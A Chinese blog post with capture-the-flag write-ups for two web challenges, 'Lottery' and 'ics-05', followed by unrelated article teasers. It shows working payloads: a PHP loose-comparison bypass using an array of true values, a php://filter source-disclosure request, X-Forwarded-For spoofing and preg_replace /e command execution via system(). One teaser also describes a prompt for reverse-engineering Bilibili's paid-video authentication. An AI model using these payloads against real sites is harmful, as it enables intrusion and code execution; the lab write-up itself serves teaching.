双剑破天门:攻防世界Web题解之独孤九剑心法(十)

双剑破天门:攻防世界Web题解之独孤九剑心法(十)

免责声明:用户因使用公众号内容而产生的任何行为和后果,由用户自行承担责任。本公众号不承担因用户误解、不当使用等导致的法律责任


**本文以攻防世界部分题为例进行演示,后续会对攻防世界大部分的web题目进行演示,如果你感兴趣请关注**


目录

一:Lottery

二:ics-05

三:总结


一:Lottery

打开后发现这个靶场加载异常缓慢,然后他还给了源码,我们先不看源码先熟悉一下这个网站是什么

这应该是一个类似猜数字游戏,选对7个号码即可得到相应奖励

然后注册

随便输入7个数字发现一个也没中,白费2元

然后我们随便点击这个网站的功能发现如果想要flag需要有相对应的余额

我们这会的思路就是利用bp抓包看看能不能修改我们的余额

好像成功了,我们试一试能不能换flag

居然说没有足够的钱,这个方法不行只要将页面上的数字修改只要刷新就会变回原来的余额

居然不能修改余额那就看看在猜数字的页面有没有突破口,发现其访问了api.php我们继续代码审计

看到如下核心代码,首先随机生成七位数字(random_win_nums)然后将其赋值给$win_number。随后关键点就是他使用的是两个等号来判断我们传入的数字和随机生成的数字,既然这样那直接可以利用true绕过,因为不检查类型


代码如下

//部分代码 function random_num(){ do { $byte = openssl_random_pseudo_bytes(10, $cstrong); $num = ord($byte); } while ($num >= 250); if(!$cstrong){ response_error('server need be checked, tell admin'); } $num /= 25; return strval(floor($num)); } function random_win_nums(){ $result = ''; for($i=0; $i<7; $i++){ $result .= random_num(); } return $result; } function buy($req){ require_registered(); require_min_money(2); $money = $_SESSION['money']; $numbers = $req['numbers']; $win_numbers = random_win_nums(); $same_count = 0; for($i=0; $i<7; $i++){ if($numbers[$i] == $win_numbers[$i]){ $same_count++; } } switch ($same_count) { case 2: $prize = 5; break; case 3: $prize = 20; break; case 4: $prize = 300; break; case 5: $prize = 1800; break; case 6: $prize = 200000; break; case 7: $prize = 5000000; break; default: $prize = 0; break; } $money += $prize - 2; $_SESSION['money'] = $money; response(['status'=>'ok','numbers'=>$numbers, 'win_numbers'=>$win_numbers, 'money'=>$money, 'prize'=>$prize]); } 

抓到其流量包我们拦截回应包修改

利用php的弱类型比较

直接将numbers字段改为[true,true,true,true,true,true,true]

成功利用弱类型得到奖金

成功拿到flag


二:ics-05

打开如下所示

随便点击发现只有此页面可打开,但是好像什么都没有,我们打开页面源代码查看一下

发现一个href可点

打开如下,好像没什么特别的

我们修改其为index.php回显ok,既然这样那么如果我们能够读取到这个index.php应该就可以拿到flag

读取文件使用伪协议

php://filter/read=convert.base64-encode/resource=index.php

复制这个base64然后解密

打开代码后观察如下代码

如果ip为127.0.0.1就是admin,然后还有一个preg_replace方法,pattern第一个参数的结尾包含了/e修正符的话,第二个参数就会被当做php代码执行

打开bp,修改ip后为admin

然后添加三个参数

?pat=/heihei/e&rep=system('find+-name+*flag*')&sub=heihei

需要使用+置换空格 得到flag.php

成功拿到flag但注意flag不在页面渲染中显示

?pat=/heihei/e&rep=system('cat+./s3chahahaDir/flag/flag.php')&sub=heihei

解密后的index.php代码

<?php error_reporting(0); @session_start(); posix_setuid(1000); ?> <!DOCTYPE HTML> <html> <head> <meta charset="utf-8"> <meta name="renderer" content="webkit"> <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1"> <link rel="stylesheet" href="layui/css/layui.css" media="all"> <title>设备维护中心</title> <meta charset="utf-8"> </head> <body> <ul> <li><a href="?page=index">云平台设备维护中心</a></li> </ul> <fieldset> <legend>设备列表</legend> </fieldset> <table></table> <script type="text/html"> <!-- 这里的 checked 的状态只是演示 --> <input type="checkbox" name="sex" value="{{d.id}}" lay-skin="switch" lay-text="开|关" lay-filter="checkDemo" {{ d.id==1 0003 ? 'checked' : '' }}> </script> <script src="layui/layui.js" charset="utf-8"></script> <script> layui.use('table', function() { var table = layui.table, form = layui.form; table.render({ elem: '#test', url: '/somrthing.json', cellMinWidth: 80, cols: [ [ { type: 'numbers' }, { type: 'checkbox' }, { field: 'id', title: 'ID', width: 100, unresize: true, sort: true }, { field: 'name', title: '设备名', templet: '#nameTpl' }, { field: 'area', title: '区域' }, { field: 'status', title: '维护状态', minWidth: 120, sort: true }, { field: 'check', title: '设备开关', width: 85, templet: '#switchTpl', unresize: true } ] ], page: true }); }); </script> <script> layui.use('element', function() { var element = layui.element; //导航的hover效果、二级菜单等功能,需要依赖element模块 //监听导航点击 element.on('nav(demo)', function(elem) { //console.log(elem) layer.msg(elem.text()); }); }); </script> <?php $page = $_GET[page]; if (isset($page)) { if (ctype_alnum($page)) { ?> <br /><br /><br /><br /> <div> <p><?php echo $page; die();?></p> <br /><br /><br /><br /> <?php }else{ ?> <br /><br /><br /><br /> <div> <p> <?php if (strpos($page, 'input') > 0) { die(); } if (strpos($page, 'ta:text') > 0) { die(); } if (strpos($page, 'text') > 0) { die(); } if ($page === 'index.php') { die('Ok'); } include($page); die(); ?> </p> <br /><br /><br /><br /> <?php }} //方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试 if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') { echo "<br >Welcome My Admin ! <br >"; $pattern = $_GET[pat]; $replacement = $_GET[rep]; $subject = $_GET[sub]; if (isset($pattern) && isset($replacement) && isset($subject)) { preg_replace($pattern, $replacement, $subject); }else{ die(); } } ?> </body> </html>

三:总结

本文通过攻防世界中的两个Web题目(Lottery和ics-05)演示了如何利用代码审计和漏洞挖掘技术获取flag。在Lottery题目中,通过分析网站的猜数字游戏功能,发现使用PHP的弱类型比较漏洞,成功绕过验证并获取奖金和flag。在ics-05题目中,通过修改IP地址和利用PHP的preg_replace函数执行系统命令,成功读取并解密index.php文件,最终获取flag。


(需要源代码及各类资料联系博主免费领取!!还希望多多关注点赞支持,你的支持就是我的最大动力!!!)

Read more

用AI一键解析B站充电视频源码

快速体验 1. 打开 InsCode(快马)平台 https://www.inscode.net 2. 输入框内输入如下内容: 请生成一个能够解析B站充电视频页面结构的代码工具。要求:1. 自动提取视频播放器DOM结构 2. 分析充电专属内容的加载逻辑 3. 输出可运行的HTML+CSS+JS代码框架 4. 包含模拟登录和鉴权处理 5. 支持Kimi-K2模型优化解析算法。输出格式要求包含完整的前端工程结构,并添加详细注释说明关键代码段。 1. 点击'项目生成'按钮,等待项目生成完整后预览效果 今天想和大家分享一个用AI辅助开发的小技巧——如何快速解析B站充电视频的页面结构和播放逻辑。作为一个经常研究前端技术的开发者,我发现用InsCode(快马)平台的AI能力可以大大简化这个逆向工程的过程。 1. 理解B站充电视频的特点 B站的充电视频是UP主设置的付费内容,其页面结构和普通视频有所不同。最明显的是会有专属的播放器覆盖层、充电提示弹窗,以及特殊的鉴权逻辑。传统方式需要手动抓包分析,现在用AI可以自动完成这些繁琐工作。

在OpenClaw中构建专业AI角色

在OpenClaw中构建专业AI角色

这条信息在晚上 11:47 通过 WhatsApp 传来:“天气警报:明天早上看起来很糟糕——-8°C,伴有冰冻降雨,直到上午 10 点。您早上 8:30 的户外访问可能会不舒服。要我建议重新安排到下午吗?” 我不记得配置过那种程度的情境感知主动性。然后我查看了 IDENTITY.md。 多重角色设定(IDENTITY.md)Moltbot 中的文件作为您的 AI 智能体 | 由 Gemini 3 Pro 生成的图像 © 透明度:本文的 AI 辅助结构化研究。配置模式、角色设计和分析均来自我自己的实践。 在第一篇文章中,我探索了 SOUL.md——定义您的 AI 选择成为谁的文件。核心价值观。指导在模糊情况下做出决策的原则。

毕业论文怎么降低AI率?2026最全实用指南

毕业论文怎么降低AI率?2026最全实用指南

毕业论文怎么降低AI率?2026最全实用指南 又到了一年一度的毕业季,相信很多同学都在为论文发愁。今年的情况比较特殊——越来越多的高校引入了AIGC检测系统,不管你有没有用AI写论文,都可能面临"AI率偏高"的问题。 作为一个刚经历过这场"战斗"的过来人,我想把自己踩过的坑和总结的经验分享给大家。这篇文章会从原理到实操,从手动修改到工具辅助,给你一份真正用得上的降AI率指南。 一、先搞清楚:什么是论文AI率? 在动手改论文之前,你得先明白AI率到底是怎么回事。 简单来说,AI率就是检测系统判断你的论文中有多少内容"像是AI写的"。不同平台的叫法不一样,有的叫"AIGC检测率",有的叫"AI疑似度",但本质上都是同一回事。 目前主流的检测平台包括知网、维普、万方、Turnitin等。它们的检测原理略有不同,但大体上都是通过分析文本的语言模式、句式结构、词汇选择等特征来判断内容是否由AI生成。 AI检测的核心逻辑

ToDesk 全新 ToClaw,正在把电脑交给AI去操作

ToDesk 全新 ToClaw,正在把电脑交给AI去操作

这两年,AI 工具层出不穷,但大多数产品还停留在“能回答、会生成”的阶段:帮你写一段话、搜一份资料、整理一个思路,真正到了执行层,还是得你自己坐回电脑前,一个软件一个软件地点、一项任务一项任务地做。 这也是很多人对 AI 的真实感受——它会说,但不一定真能干活。而 ToDesk 新上线的 ToClaw,想解决的正是这个问题。 一、ToClaw 是什么? ToClaw 是一款基于 OpenClaw 深度定制、并与远程控制运行时深度结合的 AI 助手。它最大的不同,不只是“懂你说什么”,而是能直接在你的电脑上执行操作。 你只需要一句话,它就可以在电脑端完成对应动作:打开软件、点击按钮、填写表单、拖拽文件、整理资料、生成表格、汇总信息……很多原本需要人守在电脑前操作的工作,现在都可以交给 ToClaw